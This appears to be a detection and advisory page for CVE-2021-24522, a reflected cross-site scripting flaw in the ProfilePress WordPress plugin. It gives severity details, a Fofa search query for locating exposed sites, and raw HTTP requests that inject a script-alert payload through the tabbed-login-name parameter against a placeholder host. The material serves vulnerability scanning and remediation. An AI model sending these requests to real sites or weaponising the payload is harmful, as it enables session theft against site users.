| Title | ProfilePress < 3.1.11 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in the tabbed login widget, potentially stealing user credentials or session cookies. |
| Remediation | Update the ProfilePress plugin to version 3.1.11 or later. |
| CVSS Score | 5.4 |
| EPSS Score | 0.00247 |
| CVE ID | CVE-2021-24522 |
| CWE ID | CWE-79 |
| Fofa Query | body="wp-content/plugins/wp-user-avatar" |
| Tags | cve cve2021 wordpress wp wp-plugin wp-user-avatar profilepress xss vuln |
The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET //?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.15
Accept-Encoding: gzip
Connection: close
GET /wp-login.php/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept-Encoding: gzip
Connection: close
GET /wp-login/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.6
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24522.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24522.pcap
N/AN/A